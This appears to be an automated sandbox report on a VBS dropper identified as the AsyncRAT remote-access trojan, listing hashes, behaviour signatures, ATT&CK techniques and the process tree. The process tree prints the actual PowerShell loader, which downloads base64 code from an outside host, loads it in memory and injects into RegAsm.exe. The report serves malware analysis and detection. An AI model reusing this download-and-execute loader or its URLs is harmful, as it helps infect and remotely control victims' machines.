asyncrat | c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4

General

Target

518a1bd0764ca25fcf36d8a55bf2ebd9.vbs
Size

238KB
MD5

518a1bd0764ca25fcf36d8a55bf2ebd9
SHA1

d6e490cdf33972c115a035631a3db91e527b0ef3
SHA256

c410684799d2bc68f9f06e206381e7f1fc6336642df8d48346a9b3357ada7db4
SHA512

b746019d51c04f97c75bbbe6ae65a74521120cb73aefee0a306c09088b2b1905d25f78c5b7e220962c2c34d11dd8bff082fef8056557acdb404e577dfcf0613b
SSDEEP

48:sK0mjzlXJj5NzzBWsoMtssbs0Qs+PM/d9Z9s3XEHDzzAA:sKDF9n0JMtswebEjAsDoA

Score

10^/10

asyncrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://contadoreshbc.com/dll_startup

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
rat asyncrat

Async RAT payload 2 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1220-138-0x0000000000400000-0x000000000041A000-memory.dmp	asyncrat
behavioral2/memory/1220-139-0x000000000041472E-mapping.dmp	asyncrat

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

9 2272 powershell.exe
11 2272 powershell.exe
13 2272 powershell.exe
15 2272 powershell.exe

flow	pid	process
9	2272	powershell.exe
11	2272	powershell.exe
13	2272	powershell.exe
15	2272	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2272 set thread context of 1220 2272 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

2272 powershell.exe
2272 powershell.exe
2188 powershell.exe
2188 powershell.exe
2272 powershell.exe
2272 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2272 powershell.exe
Token: SeDebugPrivilege 2188 powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk	powershell.exe

description	pid	process	target process
PID 2272 set thread context of 1220	2272	powershell.exe	RegAsm.exe

pid	process
2272	powershell.exe
2272	powershell.exe
2188	powershell.exe
2188	powershell.exe
2272	powershell.exe
2272	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	2188	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1692 wrote to memory of 2272	1692	WScript.exe	powershell.exe
PID 1692 wrote to memory of 2272	1692	WScript.exe	powershell.exe
PID 2272 wrote to memory of 2188	2272	powershell.exe	powershell.exe
PID 2272 wrote to memory of 2188	2272	powershell.exe	powershell.exe
PID 2272 wrote to memory of 4696	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 4696	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 4696	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe
PID 2272 wrote to memory of 1220	2272	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\518a1bd0764ca25fcf36d8a55bf2ebd9.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('https://contadoreshbc.com/dll_startup'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('1=rev&a=psid?txt.4abeurp/esacfeirB/moc.sotercnocmc@aretrac/emoh/moc.sotercnocmc.liam//:sptth'))
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Done.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:4696

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:1220

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eedeb218af57d184b7a06908d84e1f4f

SHA1
da8c874abd286ac085f7105d3d9da30336b09509

SHA256
f514ecbc9a8915c19aab328ecb319f730ddaf6d6d35cbf7b67bcdd00a4a75d80

SHA512
3be9e8b318be85f46692414419847147d9be948e0178962e95ce32899c52a6f26ec94e464a69770bc7a212681f24657222eae14646e484b2d0423076784ec29c

Download Submit
memory/1220-138-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/1220-139-0x000000000041472E-mapping.dmp

Download
memory/2188-135-0x0000000000000000-mapping.dmp

Download
memory/2188-136-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp

Filesize
10.8MB

Download
memory/2188-137-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp

Filesize
10.8MB

Download
memory/2272-132-0x0000000000000000-mapping.dmp

Download
memory/2272-133-0x0000023148750000-0x0000023148772000-memory.dmp

Filesize
136KB

Download
memory/2272-134-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp

Filesize
10.8MB

Download
memory/2272-142-0x00007FFDCF4A0000-0x00007FFDCFF61000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads